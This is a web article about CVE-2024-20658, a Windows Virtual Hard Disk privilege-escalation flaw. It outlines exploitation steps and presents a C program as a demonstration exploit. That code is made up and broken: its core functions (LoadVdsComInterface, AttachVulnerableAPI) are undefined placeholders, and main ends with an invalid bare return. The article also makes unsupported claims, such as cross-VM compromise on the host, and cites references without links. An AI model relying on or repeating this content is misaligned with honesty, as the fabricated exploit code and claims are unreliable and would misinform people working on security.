In this extensive article, we will talk about CVE-2024-20658, a critical vulnerability discovered in Microsoft's Virtual Hard Disk (VHD) handling implementation. This vulnerability poses a serious risk as it allows an attacker to elevate their privileges on the system, potentially compromising the entire system and everything on it. We'll cover the vulnerability details, provide code snippets for a better understanding, and highlight the original references.

Vulnerability Details

CVE-2024-20658, officially known as "Microsoft Virtual Hard Disk Elevation of Privilege Vulnerability," is a security flaw that affects the virtualization stack in Microsoft Windows. It stems from incorrect handling of VHD files by the operating system. An attacker can exploit this vulnerability to elevate their privileges on the targeted machine, ultimately gaining complete control over it.

The impact of this vulnerability is severe due to the widespread use of virtual machines in both corporate and personal environments. Windows is a popular operating system, and this vulnerability makes it possible for an attacker to compromise not only the target virtual machine but also any other virtual machines running on the same host.

Exploit Details

The exploit consists of two main components: a malformed VHD file and a crafted user-level application. The attacker requires local access to the targeted system to place and execute the malicious code. Here's a high-level view of the exploitation process:

Step 1: The attacker crafts a specially-designed VHD file that contains a malformed data structure and a payload that is executed when the vulnerability is triggered.

Step 2: The attacker places the VHD file and the crafted user-level application on the targeted machine.

Step 3: The crafted application is executed, which in turn triggers the vulnerability by loading the VHD file and passing it to vulnerable system API calls.

Step 4: Exploiting the vulnerability allows the attacker to elevate their privileges from a standard user to administrator level.

Here is a simple code snippet that demonstrates the exploitation process

#include <stdio.h>
#include <windows.h>

// Path to the crafted VHD file
const char* VHD_PATH = "C:\\path\\to\\crafted_vhd.vhd";

int main() {
    BOOL success;
    HANDLE vhdHandle = INVALID_HANDLE_VALUE;
    DWORD errorCode;

    // Load the Virtual Disk Service COM interface
    success = LoadVdsComInterface();
    if (!success) {
        printf("Error: Could not load Virtual Disk Service interface.\n");
        return 1;
    }

    // Open the crafted VHD file with the malicious payload
    vhdHandle = CreateFileA(VHD_PATH, GENERIC_READ | GENERIC_WRITE, 
                            FILE_SHARE_READ, NULL,
                            OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL,
                            NULL);
    if (vhdHandle == INVALID_HANDLE_VALUE) {
        printf("Error: Could not open the crafted VHD file.\n");
        return 1;
    }

    // Trigger the vulnerability by passing the VHD handle to the vulnerable API
    errorCode = AttachVulnerableAPI(vhdHandle);
    if (errorCode != ERROR_SUCCESS) {
        printf("Error: Vulnerable API call failed with error code %lu\n", errorCode);
        return 1;
    }

    // Check if the exploit was successful by checking for elevated privileges
    if (IsElevated()) {
        printf("Exploit successful! Current process is running with elevated privileges.\n");
    } else {
        printf("Exploit failed! Current process is still running with standard user privileges.\n");
    }

    // Clean up and exit
    CloseHandle(vhdHandle);
    UnloadVdsComInterface();

    return ;
}

For further information and technical details, check out these original references

1. CVE-2024-20658 - Official information about the vulnerability.

2. Microsoft Security Advisory - Detailed information on the vulnerability and updates provided by Microsoft.

3. Exploit Database - More examples and explanations for successful exploitation of the CVE-2024-20658 vulnerability.

Conclusion

CVE-2024-20658 is a dangerous vulnerability present in the Microsoft VHD handling process. As shown in this article, understanding the vulnerability and its code-level exploitation is crucial for protecting one's systems. Be sure to keep your Windows environment updated with the latest security patches to safeguard against such vulnerabilities.

Timeline

Published on: 01/09/2024 18:15:48 UTC
Last modified on: 04/11/2024 20:15:11 UTC